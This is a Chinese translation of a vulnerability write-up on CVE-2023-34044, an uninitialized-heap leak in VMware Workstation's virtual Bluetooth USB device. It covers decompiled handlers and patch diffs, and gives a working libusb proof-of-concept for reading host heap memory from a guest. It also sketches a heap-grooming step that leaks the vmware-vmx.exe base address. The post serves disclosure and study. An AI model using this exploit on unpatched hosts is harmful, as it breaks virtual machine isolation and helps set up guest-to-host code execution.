本文是 Chaining N-days 漏洞利用分析系列的第四篇。在这篇文章中,我们将介绍如何从客户机获取主机上运行的 VMware 进程中的关键信息。
该漏洞(CVE-2023-34044)由 Theori(@pr0ln)发现,是 @starlabs_sg 在温哥华 Pwn2Own 2023 中展示的 CVE-2023-20870 的变种,于 2023 年 10 月已得到修补。威胁情报服务 Fermium-252 自 2023 年 10 月起已提供了针对该漏洞的 PoC 和漏洞利用程序。
请注意,大部分解释都基于 VMware-workstation-full-17.0.2-21581411.exe
安装文件,且大部分符号是通过逆向获得的,因此可能存在不准确之处。
1 虚拟蓝牙设备
VMware Workstation 为虚拟机提供了多种访问主机设备的方法。如果主机上存在并启用了蓝牙接收器,VMware Workstation 会在客户机的虚拟 USB 控制器下自动添加一个基于 USB 的虚拟蓝牙设备。
与虚拟蓝牙(VBluetooth)设备功能相关的设置可在Setting - USB Controller - Share bluetooth device with the virtual machine
中找到,默认情况下该功能已启用。上述设置也可以在客户机配置文件的 vmx 文件中找到。
usb.vbluetooth.startConnected = "TRUE"
如果客户操作系统是 Linux,则可使用 lsusb 命令找到 VBluetooth。
$ lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 004: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter // <--- VBluetooth
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
如果客户操作系统是 Windows,则可使用 pnputil 命令或设备管理器实用程序找到 VBluetooth 设备。
cmd> pnputil /enum-devices
Instance ID: USBVID_0E0F&PID_0008�00650268328
Device Description: Generic Bluetooth Adapter
Class Name: Bluetooth
Class GUID: {e0cbf06c-cd8b-4647-bb8a-263b43f0f974}
Manufacturer Name: GenericAdapter
Status: Started
Driver Name: bth.inf
Vbluetooth 设备实现中存在 CVE-2023-34044 和 CVE-2023-20869 漏洞,我们将在下一篇文章中介绍这两个漏洞。
2 分配 VBluetooth 设备的 USB 请求块(URB)
由于 VBluetooth 设备是作为 USB 类型的设备实现和提供的,因此客户操作系统可以使用 USB 请求块(URB)与之通信。根据用途的不同,URB 可分为用于控制设备、读/写设置的 Control URB 和用于发送/接收数据的 Bulk URB。
控制 URB 的结构如下。
struct urb_control{
BYTE bmRequestType;
BYTE bRequest;
WORD wValue;
WORD wIndex;
WORD wLength;
char data[]
}
bmRequestType
是 endpoint_direction
和 request_type
之间进行 OR 运算的结果。endpoint_direction
定义了 URB 是从设备读取数据还是向设备写入数据,而 request_type
定义了请求的类型。例如,如果 bmRequestType
为 ENDPOINT_IN | REQUEST_TYPE_VENDOR
,则 URB 可以读取供应商特别添加的配置数据值。
enum endpoint_direction {
ENDPOINT_IN = 0x80,
ENDPOINT_OUT = 0x00,
};
bRequest
定义命令类型,wValue
、wIndex
和 data
用作命令参数。
enum request_type {
REQUEST_TYPE_STANDARD =(0x00<<5),
REQUEST_TYPE_CLASS =(0x01<<5),
REQUEST_TYPE_VENDOR =(0x02<<5),
REQUEST_TYPE_RESERVED =(0x03<<5),
};
USB 控制器收到 URB 后,会调用 VUsb_NewUrb
函数创建 vurb
类型的对象。vurb
对象存储接收到的 URB 的数据,并一直保留到该 URB 在虚拟或物理 USB 设备上得到处理。由于 vurb
对象的结构会因 USB 设备的类型而异,因此 VUsb_NewUrb
函数会在内部调用设备的 new_urb 处理程序来创建对象。参数length
决定分配的大小,而分配的大小由接收到的 URB 总大小(urb_control(8) + wLength)决定。
void __fastcall UHCI_UrbHandler(__int64 a1, VUsbPipe *a2){ // sub_1401F6860
// ...
length = nbytes + *(unsigned __int16 *)&urb_data.wlength;
urb = VUsb_NewUrb(v2, 0i64, (unsigned int)length);
urb->bufferLen = length;
//...
}
vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length)
{ // sub_14074EA70
// ...
urb_size = length;
// ...
if ( get_dev_max_urb > 0x9000 )
max_urbsize = get_dev_max_urb;
if ( urb_size > max_urbsize )
Panic("UsbDev: URB greater than the max allowed URB size.n");
_mm_lfence();
new_urb = (vurb *)urbpipe->dev->be->op->NewUrb(urbpipe->dev, num_packets, urb_size);
new_urb->status = -1;
new_urb->packets = new_urb->_packets;
new_urb->curdata = new_urb->data;
new_urb->streamID = 0;
// ...
return new_urb;
}
VBluetoothHCI_NewUrb
函数负责为 VBluetooth 设备分配 URB 对象。URB 对象存储设备、管道、状态信息和隔离 URB 数据的地址。URB 数据以名为 RBuf
的缓冲流类型分配。
VBluetoothHCI_RBufNew
函数调用 RBuf_New
,RBuf_New
内部调用 UtilSafeMalloc0
来分配大小为 a2 + 0x18
的缓冲区。UtilSafeMalloc0
内部调用了 malloc
函数。值得注意的是,分配的缓冲区大小由客户决定,且使用 malloc
分配的缓冲区不会被初始化。
RBuf *__fastcall VBluetoothHCI_RBufNew(__int64 a1, unsigned int a2)
{// sub_14081BF70
return RBuf_New(*(_DWORD **)(a1 + 616), a2);
}
RBuf *__fastcall RBuf_New(_DWORD *a1, unsigned int a2)
{// sub_1408195A0
// ...
buf = (RBuf *)UtilSafeMalloc0(a2 + 0x18i64);
buf->refcnt = 0;
*(_QWORD *)&buf->refcnt = (unsigned __int64)(a2 & 0xFFFFFF) << 16;// length
buf->field_8 = 0i64;
buf->qword10 = a1;
// ....
return buf;
}
接着,它会将从 guest 收到的 URB 数据复制到已分配的 RBuf
中。若 URB 的方向是 ENDPOINT_IN
,则拷贝的大小为 urb_control(8)
,这导致大小为 wLength
的缓冲区仍未初始化。
void __fastcall sub_1401F6860(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
// ...
v20 = urb->curdata;
if ( v30 == 1 )
{
memcpy(v20, Src, (int)v14); // v14 == urb_control(8)
}
else
{
_mm_lfence();
PhysMemReadSlow(&v29, 0i64, (int)v14, (char *)v20);
}
urb->curdata += (int)v14;
goto LABEL_15;
}
// ...
}
3 提交 VBluetooth 设备的 USB 请求块(URB)
每个设备都有不同的提交函数,因为它们处理 URB 提交的方式各不相同。Vbluetooth 设备的 URB 提交由 VBluetoothHCI_SubmitUrb
函数处理。该提交函数在内部处理 URB,或将其传递给外部设备。
urb->actualLen
被初始化为 urb->bufferLen
的值,即一个客户机可控值,接着该值被用作客户机的响应数据大小。在 VMware Workstation 17.0.1 之前,除了 VUsbDevice_OpSubmitNonReqCtl
之外,actualLen
的值不会改变。因此,actualLen
始终等于 bufferLen
。
__int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb)
{// sub_140740F40
pipe = urb->pipe;
bufferLen = urb->bufferLen;
// ...
urb->status = 0;
urb->actualLen = bufferLen;
endptAddr = pipe->endptAddr;
if ( endptAddr ) {/**/} // Process Non Control URB
if ( (data->bmRequestType & 0x60) == 0x20 ) // REQUEST_TYPE_CLASS
{
sub_140819580(rbuf_1);
rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);
endpoint = 0;
LABEL_8:
rbuf = rbuf_slice;
VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);
RBuf_DecRef(rbuf);
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl(urb) )
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
urb->actualLen = 8; // [1] Patch of CVE-2023-20870
if ( (data->bmRequestType & 0x60) != 0 )
goto LABEL_24;
v15 = data->bRequest; // LIBUSB_REQUEST_TYPE_STANDARD
if ( v15 == 9 )
{
if ( data->wValue <= 1u )
{
change_config((__int64)urb->pipe->dev, data->wValue);
if ( data->wValue )
VBluetoothHCI_Reset(dev_1);
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
goto LABEL_23;
}
if ( v15 != 11 )
{
LABEL_24: // LIBUSB_REQUEST_TYPE_VENDOR
urb->status = 4;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
v16 = data->wIndex;
if ( !v16 )
{
if ( data->wValue )
urb->status = 3;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( v16 != 1 || data->wValue >= 6u )
LABEL_23:
urb->status = 3;
return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);
}
处理后的 URB 会返回客户机,并由 vusbCompleteUrb
处理程序清理。vusbCompleteUrb
处理程序会在内部调用 UHCI_UrbResponse
函数,接着调用 PhysMem_CopyToMemory
,将大小为 actualLen
的 URB 数据复制到客户机的物理内存中。
char __fastcall UHCI_UrbResponse(__int64 a1, vurb *a2) { // sub_1401F77A0
// ....
v11 = ((v10 >> 21) + 1) & 0x7FF;
actualLen = v11;
if ( v11 > urb->actualLen )
actualLen = urb->actualLen;
if ( actualLen )
{
if ( (_BYTE)v10 == 105 )
{
v13 = *((unsigned int *)v8 + 7);
if ( !*((_DWORD *)v8 + 7) || !PhysMem_CopyToMemory((unsigned int)v13, (char *)urb->curdata, actualLen, 0, 6) )
{
Warning("UHCI: Bad %s pointer %#I64xn", "TDBuf", v13);
*(_DWORD *)(a1 + 1640) = 160;
}
}
}
在 VMware Workstation 17.0.2
补丁中,未在 VUsbDevice_OpSubmitNonReqCtl
中处理的 vurb
对象的 actualLen
被设置为 8,以防止向客户机传递未初始化的数据。
4 CVE-2023-34044 的根本原因
修复未初始化堆漏洞的最简单方法是在分配内存后对其进行初始化,或者使用内置的 calloc 函数自行完成初始化。然而 VMware 并没有这样做,因此漏洞并未完全修复。
接下来观察 URB 的请求类型为 REQUEST_TYPE_CLASS
的情况。此时,系统通过调用 RBuf_Slice
函数来切分缓冲区,并将切分后的缓冲区作为参数传递给 VBluetoothHCI_PacketOut
函数。注意,URB 并未作为参数传递,因此 actualLen
不会发生变化。
__int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb)
{// sub_140740F40
pipe = urb->pipe;
bufferLen = urb->bufferLen;
// ...
urb->status = 0;
urb->actualLen = bufferLen;
endptAddr = pipe->endptAddr;
if ( endptAddr ) {/**/} // Process Non Control URB
if ( (data->bmRequestType & 0x60) == 0x20 ) // REQUEST_TYPE_CLASS
{
sub_140819580(rbuf_1);
rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);
endpoint = 0;
LABEL_8:
rbuf = rbuf_slice;
VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);
RBuf_DecRef(rbuf);
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl(urb) )
return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);
urb->actualLen = 8; // Patch of CVE-2023-20870
// ....
}
VBluetoothHCI_PacketOut
函数将控制 Control URB 传递给连接到主机的蓝牙设备。由于 Control URB 没有指定具体的端点,因此该 URB 调用 VBluetoothHCI_PacketOut_Control
。VBluetoothHCI_PacketOut_Control
函数会验证作为参数传递的分片 rbuf,若 rbuf_length - 3
的结果大于 255
,则立即返回警告。换句话说,若 wlength
大于 258
,则 URB 数据将保持未初始化状态。
void __fastcall VBluetoothHCI_PacketOut(VUsbDevice *dev, int endpoint, _QWORD *rbuf)
{// sub_14081BDA0
if ( endpoint ) {/**/}
else
{
VBluetoothHCI_PacketOut_Control((int64 *)dev, rbuf);
}
}
void __fastcall VBluetoothHCI_PacketOut_Control(VUsbDevice *dev, RBuf *rbuf)
{// sub_14081AFF0
// ....
rbuf_length = RBuf_Length(rbuf);
rbuf_length_1 = rbuf_length;
if ( rbuf_length - 3 > 255 )
{
Warning("Bluetooth-HCI: ERROR, Bad command packet size (%d)n", rbuf_length);
return;
}
// ....p
5 CVE-2023-34044 补丁
通过对比 VMware Workstation 17.0.2
和 VMware Workstation 17.5.0
,发现了以下修补程序。VMware 仍未消除漏洞出现的根本原因,反而通过将 URB 方向为 ENDPOINT_IN
和请求类型为 REQUEST_TYPE_CLASS
时的 actualLen
设置为 8 来修补漏洞。
__int64 __fastcall VBluetoothHCI_SubmitUrb(VUsbURB *urb) // sub_1407A22A0 of VMWS 17.5.0
{
// ...
VUsbPipe = urb->VUsbPipe;
total_urb_len = urb->total_urb_len;
v4 = urb[-1].field_88;
urb_data = (struct_urb_data *)urb->urb_data;
v6 = *(_QWORD *)(VUsbPipe + 32);
v7 = *(_QWORD *)(v6 + 608);
urb->status = 0;
urb->urb_actualsize = total_urb_len;
endpt = *(_DWORD *)(VUsbPipe + 12);
if ( endpt )
{
// ...
}
if ( (urb_data->bmRequestType & VUSB_REQ_MASK) == REQUEST_TYPE_CLASS)
{
+ if(urb_data->bmRequestType < 0 ) // ENDPOINT_IN
+ urb->actualLen = 8;
// ...
return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);
}
if ( VUsbDevice_OpSubmitNonReqCtl((__int64)urb) )
return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);
urb->urb_actualsize = 8;
if ( (urb_data->bmRequestType & 0x60) != 0 )
goto LABEL_24;
bRequest = urb_data->bRequest;
if ( bRequest == VUSB_REQ_SET_CONFIGURATION )
VMware Workstation 17.5.1 和 ESXi 8.0U2sb-23305545 已完全删除了 URB 数据的单元化问题。通过比较 VMware Workstation 17.5.0
和 VMware Workstation 17.5.1
,发现了以下补丁。该修补程序添加了一个函数调用,用于在控制器中分配 vurb 对象后将数据初始化为 0。
vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length)
{ // sub_1407B00D0 of VWWS 17.5.0
urb = pipe->dev->be->op->NewUrb(pipe->dev, n_pakcet, bufferlen_1);
urb_data = urb->data;
urb->packets = urb->_packets;
urb->curdata = &urb_data->bmRequestType;
urb->status = -1;
urb->streamID = 0;
urb->pipe = pipe;
*&urb->numPackets = 0i64;
urb->allocLen = bufferlen_1;
*&urb->bufferLen = 0i64;
urb->stage = 0;
urb->refCount = 1;
type = pipe->type;
urb->type = type;
urb->endptAddr = pipe->endptAddr;
urb->bePtr = pipe->dev->be;
urb->_anon_0.statusPid = 0;
urb->hcpriv = 0i64;
+ if ( !type && urb_data )
+ memset(urb_data, 0, bufferlen_1);
urb->pipeLink.next = &urb->pipeLink;
6 利用
在 PoC 中,我们将演示如何从客户机读取未初始化的 URB 数据。
若要向 USB 设备发送任意 URB,可以编写自己的过滤驱动程序或使用库。其中一个库 libusb-win32
包含一个签名驱动程序和库,可轻松生成 URB 并将其发送到目标设备。
以下代码向 VBluetooth 设备发送了一个类型为 USB_TYPE_CLASS | USB_ENDPOINT_IN
的 URB,从而触发漏洞并读取主机的未初始化堆内存。由于 URB 数据的分配大小为 urb_control(8) + wLength + 0x18
,我们需要将 wLength
值设置为 0xfe0
,以便读取 0x1000 字节的未初始化数据块。请求和其他参数设置为任意值,因为它们与漏洞无关。usb_control_msg
函数成功执行后,outbuf
将包含主机的未初始化堆数据。
#include <lusb0_usb.h>
usb_dev_handle* open_dev(WORD VID, WORD UID){
struct usb_bus* bus;
struct usb_device* dev;
for (bus = usb_get_busses(); bus; bus = bus->next){
for (dev = bus->devices; dev; dev = dev->next){
if (dev->descriptor.idVendor == VID
&& dev->descriptor.idProduct == UID){
return usb_open(dev);
}
}
}
return NULL;
}
void readUnitMemory() {
usb_dev_handle* dev_mouse = NULL;
usb_dev_handle* dev_bt = NULL;
UINT64 vmx_base = 0;
int i, j;
char outbuf[0x1000];
memset(outbuf, 0, 0x1000);
usb_init(); /* initialize the library */
usb_find_busses(); /* find all busses */
usb_find_devices(); /* find all connected devices */
if ((dev_bt = open_dev(0x0E0F, 0x0008)) == NULL){
printf(" [!] Error opening bluetooth device: n%sn", usb_strerror());
return 0;
}
usb_control_msg(
dev_bt,
USB_TYPE_CLASS | USB_ENDPOINT_IN,
USB_REQ_GET_STATUS, 0, 0,
outbuf,
0xFE0, // 0x1000 - 0x18 - 8
1000);
usb_close(dev_bt);
}
要利用 CVE-2023-20869
漏洞,必须知道主机进程 vmware-vmx.exe
的基地址。为了在 vmware-vmx.exe
进程中分配任意大小的堆内存,我们使用了 USB 虚拟鼠标设备的 URB 分配功能。
与 VBluetooth 设备的 URB 分配器不同,VUsbMouse 和 VUsbHub 的 URB 分配器不会隔离 URB 数据,而是将其存储在 vurb
对象中。vurb
对象包含 vmware-vmx.exe
的数据部分地址,因此可以从中计算出 vmware-vmx.exe
的基地址。
vurb *__fastcall VUsb_NewUrbWithBuf(__int64 a1, unsigned int a2, unsigned int legnth)
{ // sub_1407593C0
__int64 v3; // rbx
vurb *new_urb; // rax
v3 = a2;
new_urb = (vurb *)UtilSafeMalloc0(v3 * 12 + legnth + 152i64);
new_urb->be = (UrbBackEnd *)&qword_14132C3B0; // data section address
new_urb->data = (unsigned __int8 *)&new_urb->_packets[v3];
return new_urb;
}
传送一个 wLength
受控制的 URB 到 VUsbMouse 设备,并在其处理时创建一个已释放的任意大小堆栈,其中包含 vmware-vmx.exe
的数据区地址。若将 VBluetooth 设备的 URB 重新分配给释放的堆块并通过漏洞读取,则 vmware-vmx.exe
的地址可被读取。
包括 PoC 和漏洞利用代码的更多详细信息,请参阅 Fermium-252:网络威胁情报数据库。
7 总结
本帖提供了对第一部分利用漏洞 CVE-2023-34044 的分析。下一篇文章将介绍在 Pwn2Own Vancouver 2023 中被利用的 VMware Workstation guest-to-host 代码执行(CVE-2023-20869)。
8 参考链接
- https://www.zerodayinitiative.com/blog/2023/5/17/cve-2023-2086920870-exploiting-vmware-workstation-at-pwn2own-vancouver
来源:【N-days Chaining 漏洞利用分析 Part 4:VMware Workstation 信息泄露 (seebug.org)】
来源:【Chaining N-days to Compromise All: Part 4 — VMware Workstation Information leakage】
原文始发于微信公众号(船山信安):N-days Chaining 漏洞利用分析 Part 4: VMware Workstation 信息泄露
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论